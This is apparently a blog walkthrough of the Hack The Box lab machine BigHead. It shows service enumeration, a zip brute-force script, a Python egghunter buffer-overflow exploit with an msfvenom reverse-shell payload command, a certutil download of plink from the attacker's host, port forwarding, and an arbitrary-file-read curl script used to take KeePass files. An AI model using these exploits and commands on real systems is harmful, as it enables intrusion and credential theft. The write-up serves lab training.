This post documents the complete walkthrough of BigHead, a retired vulnerable VM created by 3mrgnc3, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


BigHead is an active vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.4 ( at 2019-03-03 08:08:15 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on

Interesting. Only one open port. Let’s see what nmap gives us.

# nmap -n -v -Pn -p80 -A --reason -oN nmap.txt
80/tcp open  http    syn-ack ttl 127 nginx 1.14.0
| http-methods:
|_  Supported Methods: GET
|_http-server-header: nginx/1.14.0
|_http-title: PiperNet Comes

There’s only one service and this is how the site looks like.

Directory/File Enumeration

Let’s use gobuster and raft’s directory list, and see what we get.

# gobuster -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 20 -e -u http://bighead.htb/                          

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   : http://bighead.htb/
[+] Threads      : 20
[+] Wordlist     : /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt                                                                                  
[+] Status codes : 200,204,301,302,307,403
[+] Expanded     : true
[+] Timeout      : 10s
2019/04/09 05:04:58 Starting gobuster
http://bighead.htb/images (Status: 301)
http://bighead.htb/assets (Status: 301)
http://bighead.htb/backend (Status: 302)
http://bighead.htb/updatecheck (Status: 302)
http://bighead.htb/backends (Status: 302)
2019/04/09 05:14:39 Finished

As long as the path contains the word ‘backend’, you’ll get redirected to /BigHead, an error page that looks like this.

Well, the link doesn’t lead to anything but at least I know I need to add bighead.htb to /etc/hosts.

Checking on /updatecheck led to a more interesting discovery.

Let’s pop in code.bighead.htb to /etc/hosts as well.

Nice. That’s some progress, at least we know the operating system and its architecture. Let’s turn our attention to the newly discovered subdomain.

Eventually, it’ll redirect to It appears that I can access the good stuff locally. Well, I can always spoof my source IP with the X-Forwarded-For header.


Let’s do what we always do after discovering a new subdomain or new path: wfuzz.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt --sc 200 -t 20 http://code.bighead.htb/testlink/FUZZ
* Wfuzz 2.2.11 - The Web Fuzzer                        *

Target: http://code.bighead.htb/testlink/FUZZ
Total requests: 26593

ID      Response   Lines      Word         Chars          Payload    

000238:  C=200      0 L        2 W          136 Ch        "index"
000036:  C=200     48 L     1641 W        18681 Ch        "logout"
000039:  C=200     43 L     1342 W        15951 Ch        "login"
000687:  C=200      4 L       78 W          932 Ch        "plugin"
001514:  C=200    340 L     2968 W        18009 Ch        "license"
002983:  C=200   3448 L    45425 W        306612 Ch       "changelog"
003597:  C=200      8 L       38 W          218 Ch        "note"
003809:  C=200      0 L        2 W          136 Ch        ""
007697:  C=200      0 L        2 W          136 Ch        ""
009261:  C=200      2 L       16 W          447 Ch        "linkto"
018043:  C=404     44 L      102 W         1054 Ch        "espritxml"^C
Finishing pending requests...

I’ve seen enough. /testlink is an instance of TestLink Open Source Test & Requirement Management System and it’s running Version 1.9.17.

There’s also a hint of another subdomain in /note.

Let’s move on to the new subdomain.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt --hc '302,400,403,404' http://dev.bighead.htb/FUZZ
* Wfuzz 2.2.11 - The Web Fuzzer                        *

Target: http://dev.bighead.htb/FUZZ
Total requests: 38267

ID      Response   Lines      Word         Chars          Payload    

007220:  C=418      1 L        3 W           46 Ch        "coffee"

Total time: 782.2963
Processed Requests: 38267
Filtered Requests: 38266
Requests/sec.: 48.91624

Well, well, well. What have we here?

Like they say in real life, coffee and Google are a developer’s best friends.

Let’s clone the entire repository.

# git clone
cd BigheadWebSvr/

Once we have done that, we can look at the commits.

Long story short, the archive from the latest commit is password-protected, so we are going to check out an older commit “Nelson’s Web Server Backup”, which has all the good stuff.

# git checkout -b raw_is_war b1b4d6ed5f2298bc243cd56cab77cd6fb4e48c3d
Switched to a new branch 'raw_is_war'

Alas, the archive is still password-protected. Nonetheless, I wrote a simple bash script to brute-force the password, using 7z as the main driver.



function die() {
  killall perl

if 7z e $ZIP -o"$OUT" -p"$2" -y &>/dev/null; then
  echo "[+] Password: $2"; die

It has two arguments: the first one is name of the archive file, the second one is the password. Using GNU Parallel and rockyou.txt, I was able to crack the password pretty fast.

Of course, the password is bighead. Silly me!

Vulnerability Analysis of BigheadWebSvr.exe

At first, I was pretty apprehended by the fact that the executable imports a number of DLLs. It turns out to be unfounded fear. It uses only the EssentialFunc1 from bHeadSvr.dll and it basically prints out diagnostic messages to the standard output. A couple of step-throughs into the main function, I saw that the executable creates a new thread whenever it gets a new connection. The thread basically delegates handling of the incoming connection to a ConnectionHandler function illustrated below.

Long story short, the vulnerability lies in this graph node.

Step into the function and you’ll notice the unsafe C function used—strcpy. Buffer overflow spotted!

Exploit Development

Now that we know a buffer overflow vulnerability exists in BigheadWebSvr.exe, let’s use Immunity Debugger and to assist in the development of an exploit.

In order to get to Function4, we need to meet these conditions:

  1. Request size must be smaller than 219 bytes
  2. Request method must be HEAD

This is the command I use.

$ curl -I$(perl -e 'print "A" x 72 . "B" x 8')

Just before strcpy is called

Stack of thread before strcpy is called

Stack of thread after strcpy is called

Notice that there are thirty-six bytes of space to overwrite before the return address. On top of that, there’s something worth mentioning here—a logic exists within BigheadWebSvr.exe that turns hexadecimal strings (two characters in the range of [0-9a-fA-F]), into a byte, specifically using the strtoul function. It could be an attempt by the creator to throw us off at exploit development, who knows?

One more thing, there are more spaces, even though it isn’t much, after the location where the return address is overwritten, perfect for an egghunter shellcode, which only takes up 32 bytes.

Now that we can control the return address to change execution flow, we can put in an address that contains JMP ESP opcodes. Using !mona jmp -r esp, these are the addresses that contain JMP ESP.

Any of the above return addresses will lead us into the egghunter shellcode, which can also be generated by, using !mona egg -t b33f

And since BigheadWebSvr.exe is a multi-threaded application, we can send in as many eggs (the exploit payload) as we want, to increase the stability and chances of the exploit occuring before we send the egghunter. Armed with this knowledge, here’s the exploit code.
#!/usr/bin/env python

import os
import socket
import sys

# !mona egg -t b33f
egghunter = (

# msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=8888 EXITFUNC=thread -b '\x00\x0a\x0d\x20\x3d\x3f' -f c
egg = (

stage1 = "b33fb33f" + egg
stage2 = "A" * 72 + "FD125062" + egghunter # 0x625012fd - jmp esp

request = (
"%s /%s HTTP/1.1\r\n"
"Host: dev.bighead.htb\r\n\r\n")

# send stage 1 - egg (1st)
evil = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
evil.connect(("", 80))
evil.send(request % ("GET", stage1))
os.write(1, "[+] 1st egg sent!\n")

# send stage 1 - egg (2nd)
evil = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
evil.connect(("", 80))
evil.send(request % ("GET", stage1))
os.write(1, "[+] 2nd egg sent!\n")

# send stage 1 - egg (3rd)
evil = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
evil.connect(("", 80))
evil.send(request % ("GET", stage1))
os.write(1, "[+] 3rd egg sent!\n")

# send stage 2 - egghunter
evil = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
evil.connect(("", 80))
evil.send(request % ("HEAD", stage2))
os.write(1, "[+] Egghunter sent!\n")

Low-Privilege Shell

I’m guessing a variant of the vulnerable BigheadWebSvr.exe is behind dev.bighead.htb. The nginx.conf that comes with it confirms my hypothesis.

With that in mind, let’s give the exploit a shot!

Woohoo. I got shell as Nelson!

Too bad the excitement was short-lived because this isn’t the user.txt I expected.

Curse you, Erlich!

BitVise SSH Server

During enumeration of nelson’s account, I notice two interesting open ports: 2020/tcp and 5080/tcp that weren’t available during the port scan.

The PIDs associated with the ports are BitVise SSH Server and Apache from XAMPP respectively.

The program directory of BitVise SSH Server is strangely located at C:\Program Files\nginx manager. Maybe the user account nginx has something to do with it? Unfortunately, nelson doesn’t have access to the Service Control Manager (SCM) to query the services, I have to fall back on good ol’ REG.exe to query the services.

Guess what? There’s really something special with this service.

Naturally, PasswordHash and Authenticate, caught my attention but it turns out that PasswordHash is another troll by the creator.

Let’s check out Authenticate.

H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87 sure looks promising. Could this be nginx’s SSH password? If so, how do I connect to the SSH server? plink.exe to the rescue! Obviously, outbound connections from the machine are not blocked. I can easily set up a SSH server on my attacking machine and use plink.exe to connect to my server and forward the local port to a port I specify. I know what you are thinking. How do you transfer plink.exe to the machine? certutil.exe is the answer.

Transfer plink.exe

First, we set up Python’s SimpleHTTPServer to host the file. Then we pull the file using the following command.

certutil -urlcache -split -f c:\users\nelson\appdata\local\temp\plink.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

Set up SSH server

In order for the local port to be forwarded to the remote port, GatewayPorts need to be enabled in /etc/ssh/sshd_config:

GatewayPorts yes

Port forwarding with plink.exe

Forward both ports: 2020/tcp and 5080/tcp with plink.exe like so.

start /min plink -R 2020:localhost:2020 -pw <password> [email protected] -N
start /min plink -R 5080:localhost:5080 -pw <password> [email protected] -N

Once that’s done, we can give a shot at logging in to nginx’s account.

Holy cow. It works!

Getting to user.txt

I was absolutely thrilled to see user.txt in current working directory which seems to be c:\xampp.

Only to realize it’s a Windows Shortcut File (or LNK File). :angry:

Well, at least now I know where user.txt is located and this is the real deal. While I was smashing my head trying to figure out how to read c:\users\nginx\desktop\user.txt, I saw something extraordinary at /apps/testlink/htdocs/logs/userlog0.log.

Something funky is going on in linkto.php!

Can you see the vulnerability? We can read files as long as there are two POST parameter: PiperID and PiperCoinID (path to the file). Let’s read c:\users\nginx\desktop\user.txt!

Getting to root.txt

Armed with this knowledge, I wrote a bash script that allows me to fetch files and display them on the standard output, given the file path as the arguement.

TEMP=$(mktemp -u)

curl -s \
     -d "PiperID=" \
     -d "PiperCoinID=$FILE" \
     -o $TEMP \

SIZE=$(wc -c < $TEMP)

dd if=$TEMP count=$((SIZE - GARBAGE)) bs=1 2>/dev/null

# clean up
rm -f $TEMP

Let’s see if we can read root.txt.

Seriously, WTF??!! Wait a tick, maybe I can read other files in c:\users\administrator? During my enumeration I also noticed KeePass was installed at c:\Program Files\kpps. According to KeePass Help Center, the configuration file is stored at:

Time to check out the configuration file.

Awesome. We can see where the KeePass database and key files are. As usual, they are not at your usual locations.

Time to “fetch” them.

Interesting choice for a key file. JtR has a nifty tool that turns the key file and the KeePass database into a hash for cracking.

The master password (darkness) is easily cracked.

All that’s left is to load the database and see what’s inside.

We are in the endgame now.

And here’s root.txt.